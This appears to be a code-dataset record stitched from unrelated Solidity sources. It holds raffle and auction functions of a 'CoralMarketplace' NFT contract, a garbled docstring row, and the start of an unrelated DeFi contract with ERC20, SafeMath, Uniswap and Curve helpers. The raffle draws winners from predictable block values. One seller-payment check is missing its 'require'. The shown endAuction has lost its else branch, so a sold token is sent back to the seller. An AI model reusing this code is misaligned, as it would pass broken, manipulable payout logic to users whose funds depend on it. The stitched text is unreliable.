if (idToMarketItem[i + 1].onSale && idToMarketItem[i + 1].typeItem == TypeItem.Auction) {
uint currentId = idToMarketItem[i + 1].itemId;
MarketItem storage currentItem = idToMarketItem[currentId];
items[currentIndex] = currentItem;
currentIndex += 1;
}
}
return items;
}
/////////////////////////// RAFFLE ////////////////////////////////////
/**
* Creates a raffle for a new item.
*/
function createNewNftRaffle(address nftContract, uint256 tokenId, uint256 numMinutes) public {
require(numMinutes <= 525600, "CoralMarketplace: Number of minutes cannot be greater than 525,600."); // 525,600 min = 1 year
// Create market item
uint256 itemId = createMarketItem(nftContract, tokenId);
// Create raffle
createMarketItemRaffle(itemId, numMinutes);
}
/**
* Creates a raffle from an existing market item.
*/
function createMarketItemRaffle(uint256 itemId, uint256 numMinutes) public {
require(idToMarketItem[itemId].itemId > 0, "CoralMarketplace: itemId does not exist.");
require(!idToMarketItem[itemId].onSale, "CoralMarketplace: This item is already on sale.");
require(numMinutes <= 525600, "CoralMarketplace: Number of minutes cannot be greater than 525,600."); // 525,600 min = 1 year
// Transfer ownership of the token to this contract
IERC721(idToMarketItem[itemId].nftContract).transferFrom(msg.sender, address(this), idToMarketItem[itemId].tokenId);
// Update MarketItem
idToMarketItem[itemId].seller = payable(msg.sender);
idToMarketItem[itemId].owner = payable(address(0));
idToMarketItem[itemId].price = 0;
idToMarketItem[itemId].marketFee = _marketFee;
idToMarketItem[itemId].onSale = true;
idToMarketItem[itemId].typeItem = TypeItem.Raffle;
// Create RaffleData
uint256 deadline = (block.timestamp + numMinutes * 1 minutes);
idToRaffleData[itemId].deadline = deadline;
_onRaffle.increment();
emit MarketItemUpdate(itemId, idToMarketItem[itemId].nftContract, idToMarketItem[itemId].tokenId, msg.sender,
msg.sender, 0, _marketFee, TypeItem.Raffle);
}
/**
* Adds entry to an active raffle.
*/
function enterRaffle(uint256 itemId) public payable {
require(idToMarketItem[itemId].onSale && idToMarketItem[itemId].typeItem == TypeItem.Raffle,
"CoralMarketplace: There is no raffle active for this item.");
require(msg.value >= 1 * (10**18), "CoralMarketplace: Value of transaction must be at least 1 REEF.");
uint256 value = msg.value / (10**18);
// Update RaffleData
if (!(idToRaffleData[itemId].addressToAmount[msg.sender] > 0)) {
idToRaffleData[itemId].indexToAddress[idToRaffleData[itemId].totalAddresses] = payable(msg.sender);
idToRaffleData[itemId].totalAddresses += 1;
}
idToRaffleData[itemId].addressToAmount[msg.sender] += value;
idToRaffleData[itemId].totalValue += value;
}
/**
* Ends open raffle.
*/
function endRaffle(uint256 itemId) public nonReentrant {
require(idToMarketItem[itemId].onSale && idToMarketItem[itemId].typeItem == TypeItem.Raffle,
"CoralMarketplace: There is no raffle open for this item.");
require(idToRaffleData[itemId].deadline < block.timestamp,
"CoralMarketplace: Raffle deadline has not been reached yet.");
// Update MarketItem
idToMarketItem[itemId].onSale = false;
_onRaffle.decrement();
// Check if there are participants in the raffle
if (idToRaffleData[itemId].totalAddresses == 0) {
address payable seller = idToMarketItem[itemId].seller;
// Transfer ownership back to seller
IERC721(idToMarketItem[itemId].nftContract).transferFrom(address(this), seller, idToMarketItem[itemId].tokenId);
// Update item in the mapping
idToMarketItem[itemId].owner = seller;
delete idToRaffleData[itemId];
} else {
// Choose winner for the raffle
uint256 totalValue = idToRaffleData[itemId].totalValue;
uint256 indexWinner = _pseudoRand() % totalValue;
uint256 lastIndex = 0;
for (uint i = 0; i < idToRaffleData[itemId].totalAddresses; i++) {
address currAddress = idToRaffleData[itemId].indexToAddress[i];
lastIndex += idToRaffleData[itemId].addressToAmount[currAddress];
if (indexWinner < lastIndex) {
address payable seller = idToMarketItem[itemId].seller;
_createItemTransaction(itemId, currAddress, totalValue * (10**18));
// Update item in the mapping
idToMarketItem[itemId].owner = payable(currAddress);
idToMarketItem[itemId].sales.push(MarketItemSale(seller, currAddress, totalValue * (10**18), TypeItem.Raffle));
delete idToRaffleData[itemId];
break;
}
}
emit MarketItemSold(itemId, idToMarketItem[itemId].nftContract, idToMarketItem[itemId].tokenId,
idToMarketItem[itemId].seller, msg.sender, totalValue, TypeItem.Raffle);
}
}
/**
* Returns deadline of raffle and amount contributed by caller.
*/
function fetchRaffleData(uint256 itemId) public view returns (uint256 deadline, uint256 contribution) {
require(idToMarketItem[itemId].onSale && idToMarketItem[itemId].typeItem == TypeItem.Raffle,
"CoralMarketplace: There is no raffle open for this item.");
return (idToRaffleData[itemId].deadline, idToRaffleData[itemId].addressToAmount[msg.sender] * (10**18));
}
/**
* Returns active raffles.
*/
function fetchRaffles() public view returns (MarketItem[] memory) {
uint currentIndex = 0;
// Initialize array
MarketItem[] memory items = new MarketItem[](_onRaffle.current());
// Fill array
for (uint i = 0; i < _itemIds.current(); i++) {
if (idToMarketItem[i + 1].onSale && idToMarketItem[i + 1].typeItem == TypeItem.Raffle) {
uint currentId = idToMarketItem[i + 1].itemId;
MarketItem storage currentItem = idToMarketItem[currentId];
items[currentIndex] = currentItem;
currentIndex += 1;
}
}
return items;
}
/////////////////////////// UTILS ////////////////////////////////////
/**
* Pays royalties to the address designated by the NFT contract and returns the sale place
* minus the royalties payed.
*/
function _deduceRoyalties(address nftContract, uint256 tokenId, uint256 grossSaleValue, address payable seller)
internal returns (uint256 netSaleAmount) {
// Get amount of royalties to pay and recipient
(address royaltiesReceiver, uint256 royaltiesAmount) = IERC2981(nftContract).royaltyInfo(tokenId, grossSaleValue);
// If seller and royalties receiver are the same, royalties will not be deduced
if (seller == royaltiesReceiver) {
return grossSaleValue;
}
// Deduce royalties from sale value
uint256 netSaleValue = grossSaleValue - royaltiesAmount;
// Transfer royalties to rightholder if amount is not 0
if (royaltiesAmount > 0) {
(bool success, ) = royaltiesReceiver.call{value: royaltiesAmount}("");
require(success, "CoralMarketplace: Royalties transfer failed.");
}
// Broadcast royalties payment
emit RoyaltiesPaid(tokenId, royaltiesAmount);
return netSaleValue;
}
/**
* Gets a pseudo-random number
*/
function _pseudoRand() internal view returns(uint256) {
uint256 seed = uint256(keccak256(abi.encodePacked(
block.timestamp + block.difficulty +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) +
block.gaslimit +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (block.timestamp)) +
block.number
)));
return seed;
}
/**
* Creates transaction of token and selling amount
*/
function _createItemTransaction(uint256 itemId, address tokenRecipient, uint256 saleValue) internal {
// Pay royalties
address nftContract = idToMarketItem[itemId].nftContract;
uint256 tokenId = idToMarketItem[itemId].tokenId;
address payable seller = idToMarketItem[itemId].seller;
if (_checkRoyalties(nftContract)) {
saleValue = _deduceRoyalties(nftContract, tokenId, saleValue, seller);
}
// Pay market fee
uint256 marketFee = (saleValue * idToMarketItem[itemId].marketFee) / 10000;
(bool successFee, ) = owner().call{value: marketFee}("");
require(successFee, "CoralMarketplace: Market fee transfer failed.");
uint256 netSaleValue = saleValue - marketFee;
// Transfer value of the transaction to the seller
(bool successTx, ) = seller.call{value: netSaleValue}("");
(successTx, "CoralMarketplace: Seller payment transfer failed.");
// Transfer ownership of the token to buyer
IERC721(nftContract).transferFrom(address(this), tokenRecipient, tokenId);
}
/**
* Checks if a contract supports EIP-2981 for royalties.
* View EIP-165 (https://eips.ethereum.org/EIPS/eip-165).
*/
function _checkRoyalties(address _contract) internal view returns (bool) {
(bool success) = IERC165(_contract).supportsInterface(_INTERFACE_ID_ERC2981);
return success;
}
}
|
Distributes NFT and bidded amount after auction deadline is reached./ Update MarketItem Create transaction Update item in the mapping Transfer ownership of the token back to seller Update item in the mapping
|
function endAuction(uint256 itemId) public nonReentrant {
require(idToMarketItem[itemId].onSale && idToMarketItem[itemId].typeItem == TypeItem.Auction,
"CoralMarketplace: There is no auction for this item.");
require(idToAuctionData[itemId].deadline < block.timestamp,
"CoralMarketplace: Auction deadline has not been reached yet.");
idToMarketItem[itemId].onSale = false;
_onAuction.decrement();
if (idToAuctionData[itemId].highestBid > 0) {
_createItemTransaction(itemId, idToAuctionData[itemId].highestBidder, idToAuctionData[itemId].highestBid);
idToMarketItem[itemId].owner = payable(idToAuctionData[itemId].highestBidder);
idToMarketItem[itemId].sales.push(MarketItemSale(idToMarketItem[itemId].seller, idToAuctionData[itemId].highestBidder,
idToAuctionData[itemId].highestBid, TypeItem.Auction));
emit MarketItemSold(itemId, idToMarketItem[itemId].nftContract, idToMarketItem[itemId].tokenId,
idToMarketItem[itemId].seller, idToAuctionData[itemId].highestBidder, idToAuctionData[itemId].highestBid, TypeItem.Auction);
IERC721(idToMarketItem[itemId].nftContract).transferFrom(address(this), idToMarketItem[itemId].seller,
idToMarketItem[itemId].tokenId);
idToMarketItem[itemId].owner = payable(idToMarketItem[itemId].seller);
}
delete idToAuctionData[itemId];
}
| 13,087,159
|
/**
*Submitted for verification at Etherscan.io on 2021-02-17
*/
// File: contracts/interfaces/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function decimals() external view returns (uint8);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/utils/SafeERC20.sol
// File: browser/github/OpenZeppelin/openzeppelin-contracts/contracts/utils/Address.sol
pragma solidity ^0.6.12;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: browser/github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: browser/github/OpenZeppelin/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
library UniversalERC20 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
function universalTransfer(
IERC20 token,
address to,
uint256 amount
) internal {
if (token == IERC20(0)) {
address(uint160(to)).transfer(amount);
} else {
token.safeTransfer(to, amount);
}
}
function universalApprove(
IERC20 token,
address to,
uint256 amount
) internal {
if (token != IERC20(0)) {
token.safeApprove(to, amount);
}
}
function universalTransferFrom(
IERC20 token,
address from,
address to,
uint256 amount
) internal {
if (token == IERC20(0)) {
require(
from == msg.sender && msg.value >= amount,
"msg.value is zero"
);
if (to != address(this)) {
address(uint160(to)).transfer(amount);
}
if (msg.value > amount) {
msg.sender.transfer(msg.value.sub(amount));
}
} else {
token.safeTransferFrom(from, to, amount);
}
}
function universalBalanceOf(IERC20 token, address who)
internal
view
returns (uint256)
{
if (token == IERC20(0)) {
return who.balance;
} else {
return token.balanceOf(who);
}
}
}
// File: contracts/interfaces/IUniswapV2.sol
pragma solidity ^0.6.0;
interface IUniRouter {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Factory {
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function getPair(IERC20 tokenA, IERC20 tokenB)
external
view
returns (IUniswapV2Exchange pair);
}
interface IUniswapV2Exchange {
//event Approval(address indexed owner, address indexed spender, uint value);
//event Transfer(address indexed from, address indexed to, uint value);
//function name() external pure returns (string memory);
//function symbol() external pure returns (string memory);
//function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function getReserves()
external
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function token0() external view returns (address);
function token1() external view returns (address);
//function allowance(address owner, address spender) external view returns (uint);
//function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
//function transferFrom(address from, address to, uint value) external returns (bool);
//function DOMAIN_SEPARATOR() external view returns (bytes32);
//function PERMIT_TYPEHASH() external pure returns (bytes32);
//function nonces(address owner) external view returns (uint);
//function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
//event Mint(address indexed sender, uint amount0, uint amount1);
//event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
/*event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
*/
}
// File: contracts/utils/UniswapV2Lib.sol
pragma solidity ^0.6.12;
contract UniswapUtils {
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB)
internal
pure
returns (address token0, address token1)
{
//require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
//require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
}
library UniswapV2ExchangeLib {
using SafeMath for uint256;
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function getReturn(
IUniswapV2Exchange exchange,
IERC20 fromToken,
IERC20 destToken,
uint256 amountIn
)
internal
view
returns (
uint256 result,
bool needSync,
bool needSkim
)
{
uint256 reserveIn = fromToken.balanceOf(address(exchange));
uint256 reserveOut = destToken.balanceOf(address(exchange));
(uint112 reserve0, uint112 reserve1, ) = exchange.getReserves();
if (fromToken > destToken) {
(reserve0, reserve1) = (reserve1, reserve0);
}
needSync = (reserveIn < reserve0 || reserveOut < reserve1);
needSkim = !needSync && (reserveIn > reserve0 || reserveOut > reserve1);
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(min(reserveOut, reserve1));
uint256 denominator =
min(reserveIn, reserve0).mul(1000).add(amountInWithFee);
result = (denominator == 0) ? 0 : numerator.div(denominator);
}
}
// File: contracts/interfaces/ICurve.sol
pragma solidity ^0.6.0;
abstract contract ICurveFiCurve {
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external virtual;
function get_dy_underlying(
int128 i,
int128 j,
uint256 dx
) external view virtual returns (uint256 out);
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view virtual returns (uint256 out);
function A() external view virtual returns (uint256);
function balances(uint256 arg0) external view virtual returns (uint256);
function fee() external view virtual returns (uint256);
}
// File: contracts/utils/CurveUtils.sol
pragma solidity ^0.6.12;
/**
* @dev reverse-engineered utils to help Curve amount calculations
*/
contract CurveUtils {
address internal constant CURVE_ADDRESS =
0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; // 3-pool DAI/USDC/USDT
address internal constant DAI_ADDRESS =
0x6B175474E89094C44Da98b954EedeAC495271d0F;
address internal constant USDC_ADDRESS =
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address internal constant USDT_ADDRESS =
0xdAC17F958D2ee523a2206206994597C13D831ec7;
ICurveFiCurve internal curve = ICurveFiCurve(CURVE_ADDRESS);
uint256 private constant N_COINS = 3;
uint256[N_COINS] private RATES; //
uint256[N_COINS] private PRECISION_MUL;
uint256 private constant LENDING_PRECISION = 10**18;
uint256 private constant FEE_DENOMINATOR = 10**10;
mapping(address => int128) internal curveIndex;
mapping(int128 => address) internal reverseCurveIndex;
/**
* @dev get index of a token in Curve pool contract
*/
function getCurveIndex(address token) internal view returns (int128) {
// to avoid 'stack too deep' compiler issue
return curveIndex[token] - 1;
}
/**
* @dev init internal variables at creation
*/
function init() public virtual {
RATES = [
1000000000000000000,
1000000000000000000000000000000,
1000000000000000000000000000000
];
PRECISION_MUL = [1, 1000000000000, 1000000000000];
curveIndex[DAI_ADDRESS] = 1; // actual index is 1 less
